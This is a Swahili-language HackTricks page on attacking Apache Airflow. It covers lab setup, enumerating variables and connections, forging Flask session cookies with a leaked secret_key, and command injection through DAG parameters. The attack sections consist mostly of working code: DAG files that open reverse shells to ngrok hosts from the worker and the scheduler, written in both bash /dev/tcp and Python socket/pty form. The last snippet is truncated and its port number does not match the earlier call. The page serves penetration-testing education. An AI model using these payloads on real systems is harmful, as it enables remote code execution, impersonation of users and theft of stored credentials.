Apache Airflow Security

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Apache Airflow inatumika kama jukwaa la kuorodhesha na kupanga mabomba au mifumo ya data. Neno "kuorodhesha" katika muktadha wa mabomba ya data inamaanisha mchakato wa kupanga, kuratibu, na kusimamia mifumo ya data yenye utata inayotokana na vyanzo mbalimbali. Lengo kuu la mabomba haya ya data yaliyoandaliwa ni kutoa seti za data zilizosindika na zinazoweza kutumiwa. Seti hizi za data hutumiwa sana na programu nyingi, ikiwa ni pamoja na zana za ujasusi wa biashara, sayansi ya data na mifano ya ujifunzaji wa mashine, ambayo yote ni msingi wa utendaji wa programu za data kubwa.

Kimsingi, Apache Airflow itakuruhusu kupanga utekelezaji wa nambari wakati kitu (tukio, cron) kinapotokea.

Maabara ya Kienyeji

Docker-Compose

Unaweza kutumia faili ya usanidi ya docker-compose kutoka https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml kuzindua mazingira kamili ya docker ya apache airflow. (Ikiwa uko kwenye MacOS hakikisha kutoa angalau 6GB ya RAM kwa VM ya docker).

Minikube

Njia moja rahisi ya kuendesha apache airflow ni kuendesha na minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Mpangilio wa Airflow

Airflow inaweza kuhifadhi taarifa nyeti katika mpangilio wake au unaweza kupata mipangilio dhaifu:

pageAirflow Configuration

Airflow RBAC

Kabla ya kuanza kushambulia Airflow unapaswa kuelewa jinsi ruhusa zinavyofanya kazi:

pageAirflow RBAC

Mashambulizi

Uorodheshaji wa Konsoli ya Wavuti

Ikiwa una upatikanaji wa konsoli ya wavuti unaweza kupata uwezo wa kupata baadhi au yote ya taarifa zifuatazo:

  • Vipimo (Taarifa nyeti za kawaida zinaweza kuhifadhiwa hapa)

  • Uunganisho (Taarifa nyeti za kawaida zinaweza kuhifadhiwa hapa)

  • Pata katika http://<airflow>/connection/list/

  • Mpangilio (Taarifa nyeti kama secret_key na nywila zinaweza kuhifadhiwa hapa)

  • Orodhesha watumiaji na majukumu

  • Msimbo wa kila DAG (ambao unaweza kuwa na taarifa ya kuvutia)

Kupata Thamani za Vipimo

Vipimo vinaweza kuhifadhiwa katika Airflow ili DAGs ziweze kupata thamani zao. Ni sawa na siri za majukwaa mengine. Ikiwa una ruhusa za kutosha unaweza kuzipata kwenye GUI katika http://<airflow>/variable/list/. Airflow kwa chaguo-msingi itaonyesha thamani ya kipimo kwenye GUI, hata hivyo, kulingana na hii inawezekana kuweka orodha ya vipimo ambavyo thamani yake itaonekana kama nyota kwenye GUI.

Walakini, thamani hizi bado zinaweza kupatikana kupitia CLI (unahitaji kupata DB), utekelezaji wa DAG wa kiholela, API kupitia kufikia mwisho wa vipimo (API inahitaji kuwa imewezeshwa), na hata GUI yenyewe! Kupata thamani hizo kutoka kwenye GUI tu chagua vipimo unavyotaka kupata na bonyeza Matendo -> Kuuza. Njia nyingine ni kufanya bruteforce kwa thamani iliyofichwa kwa kutumia kuchuja utafutaji mpaka upate:

Kupandisha Hadhi ya Mamlaka

Ikiwa mpangilio wa expose_config umewekwa kuwa Sahihi, kutoka kwa jukumu la Mtumiaji na juu wanaweza kusoma mpangilio kwenye wavuti. Katika mpangilio huu, secret_key inaonekana, ambayo inamaanisha mtumiaji yeyote mwenye hii inayofaa wanaweza kuunda kuki iliyosainiwa yao wenyewe kujifanya kuwa akaunti ya mtumiaji mwingine yeyote.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

Mlango wa Nyuma wa DAG (RCE katika mfanyakazi wa Airflow)

Ikiwa una upatikanaji wa kuandika mahali ambapo DAGs zimehifadhiwa, unaweza tu kuunda moja ambayo itakutumia shell ya kurudi. Tafadhali kumbuka kuwa shell hii ya kurudi itatekelezwa ndani ya kontena ya mfanyakazi wa airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

Mlango wa Nyuma wa DAG (RCE katika mpangaji wa Airflow)

Ikiwa unaweka kitu kutekelezwa katika mizizi ya nambari, wakati wa kuandika hii, itatekelezwa na mpangaji baada ya sekunde chache baada ya kuwekwa ndani ya folda ya DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Uundaji wa DAG

Ikiwa utafanikiwa kudukua mashine ndani ya kikundi cha DAG, unaweza kuunda skripti mpya za DAG katika folda ya dags/ na zitakuwa nakiliwa katika mashine zingine ndani ya kikundi cha DAG.

Uingizaji wa Msimbo wa DAG

Unapotekeleza DAG kutoka kwa GUI unaweza kupitisha hoja kwake. Kwa hivyo, ikiwa DAG haijatengenezwa vizuri inaweza kuwa dhaifu kwa Uingizaji wa Amri. Hapo ndipo ilipotokea katika CVE hii: https://www.exploit-db.com/exploits/49927

Kila unachohitaji kujua kuanza kutafuta uingizaji wa amri katika DAGs ni kwamba parameta zina fikiwa na msimbo dag_run.conf.get("jina_la_param").

Zaidi ya hayo, dhaifu hiyo hiyo inaweza kutokea na vibadilishaji (kumbuka kwamba ukiwa na mamlaka ya kutosha unaweza kudhibiti thamani ya vibadilishaji katika GUI). Vibadilishaji vinapata kwa:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Ikiwa zinatumika kwa mfano ndani ya amri ya bash, unaweza kufanya utekelezaji wa amri.

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated